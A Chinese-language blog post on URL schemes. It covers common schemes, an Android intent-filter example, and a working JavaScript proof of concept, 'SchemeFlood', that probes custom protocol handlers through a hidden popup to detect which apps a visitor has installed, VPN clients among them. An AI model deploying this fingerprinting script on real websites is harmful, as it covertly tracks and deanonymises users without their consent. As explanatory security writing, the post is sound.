URL Schemes
机缘巧合下才知道了这个名词,感觉很有意思,这里记录下相关知识于思考。
0x00 是什么
URL Schemes 有两个单词:
- URL(Uniform resource locator),
http://www.apple.com
就是个 URL,是用于完整地描述Internet上网页和其他资源的地址的一种标识方法,Internet上的每一个网页都具有一个唯一的名称标识,通常称之为URL地址,这种地址可以是本地磁盘,也可以是局域网上的某一台计算机,更多的是Internet上的站点。简单地说,URL就是Web地址,俗称“网址”; - Schemes,表示的是一个 URL 中的一个位置——最初始的位置,即
://
之前的那段字符。比如http://www.apple.com
这个网址的Schemes
是http
。
常见的Schemes
key | value |
---|---|
ed2k | 用于表示存储在连接到eDonkey文件共享P2P 网络的计算机上的文件的超链接 |
file | 通常用来从自己的电脑中检索文件 |
ftp | 文件传输协议 |
http | 超文本传输协议 |
gopher | 是Internet上一个非常有名的信息查找系统 |
ldap | 轻量级目录访问协议 |
0x01有趣的应用
当我们在浏览一个网页并且需要下载某个资源时,你的电脑可能经常会跳出一个提示框,询问你是否需要打开“迅雷”。当我们点击“是”,则会唤醒该本地应用进行下载任务。
针对这个场景产生了一个疑问,网页是如何打开PC端应用的呢?
软件开发人员利用Schemes的特性,定义了相关协议:tencent://
,通过该协议,我们可以唤起qq。
同理的还有:weixin://
、steam://
、tg://
、tim://
。
以下是qq的注册表文件:
最近这种应用更多出现于手机上,经常在访问相应网站内容时,提示打开该网站的app;在应用中跳转到微信支付的页面;或者使用第三方账号登陆时跳转到QQ登陆等等。
安卓应用中,开发者定义了URL Scheme(自定义),通过安装应用在系统中注册该Scheme信息。
当需要调用时,将Scheme协议的URi以Data的形式加入到Intent中,隐式调用该activity。
<activity android:name=".MainActivity">
<intent-filter> <!--正常启动-->
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
<intent-filter> <!--URL Scheme启动-->
<!--必有项-->
<action android:name="android.intent.action.VIEW"/>
<!--如果希望该应用可以通过浏览器的连接启动,则添加该项-->
<category android:name="android.intent.category.BROWSABLE"/>
<!--表示该页面可以被隐式调用,必须加上该项-->
<category android:name="android.intent.category.DEFAULT"/>
<!--协议部分-->
<data android:scheme="urlscheme"
android:host="auth_activity">
</intent-filter>
<intent-filter>
<action android:name="emms.intent.action.check_authorization"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="emms.intent.category.authorization"/>
</intent-filter>
</activity>
过程图示
0x02 SchemeFlood
将精心设计的代码写入网页的JavaScript
文件中,该代码可以在打开窗口时通过访问设计好的URI
判断主机是否存在相对应的软件。
源码如下:
async function startdetection()
{
handler = window.open('about:blank', '', 'width=50,height=50,left=9999,top=9999')
//感谢 @studentmain 增加代理软件的指纹库
appnames=['Skype', 'Spotify', 'Zoom', 'vscode', 'Epic Games', 'Telegram', 'Discord', 'Slack', 'Steam', 'Battle.net', 'Xcode', 'NordVPN', 'Sketch', 'Teamviewer', 'Microsoft Word', 'WhatsApp', 'Postman', 'Adobe', 'Messenger', 'Figma', 'Hotspot Shield', 'ExpressVPN', 'Notion', 'iTunes','Tim','百度网盘','BinaryNinja','evernote','github desktop','onenote','QQ','腾讯会议','xmind','Vmware','360软件管家','acrobat','QQ游戏']
schemes=['skype', 'spotify', 'zoommtg', 'vscode', 'com.epicgames.launcher', 'tg', 'discord', 'slack', 'steam', 'battlenet', 'xcode', 'nordvpn', 'sketch', 'teamviewerapi', 'word', 'whatsapp', 'postman', 'aem-asset', 'messenger', 'figma', 'hotspotshield', 'expressvpn', 'notion', 'itunes','Tencent','Baiduyunguanjia','BinaryNinja','evernote','github-windows','onenote','QQ','wwauth3rd3a82ac41e00d815d','xmind','vm','softmanager360','acrobat','QQGameProtocol']
for(var i=0;i<appnames.length;i++)
{
appname=appnames[i];
scheme=schemes[i];
let isDetected=true;
await sleep(125)
input = document.createElement('input')
input.style.opacity = '0'
input.style.position = 'absolute'
input.onfocus = () => { isDetected = false }
await sleep(125)
handler.document.body.appendChild(input);
handler.location.replace(scheme+"://Message")
await sleep(125)
input.focus()
await sleep(125)
input.remove()
if(isDetected)
output=document.getElementById('installed')
else
output=document.getElementById('notinstall')
output.value+='\n'+appname
handler.location.replace("about:blank")
}
handler.close()
}
使用体验:
通过右下角的弹窗进行软件指纹检测。
Reference
Exploiting custom protocol handlers for cross-browser tracking in Tor, Safari, Chrome and Firefox